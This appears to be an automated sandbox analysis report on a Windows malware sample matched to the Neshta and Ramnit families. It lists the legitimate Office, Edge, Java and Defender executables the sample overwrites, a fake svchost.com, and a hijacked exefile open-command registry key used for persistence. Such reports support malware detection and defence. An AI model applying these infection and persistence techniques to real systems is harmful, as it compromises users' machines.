Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Windows\svchost.com	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Boot Survival

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 6544, type: MEMORYSTR

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe

Code function: 1_2_00401848 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00401848

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
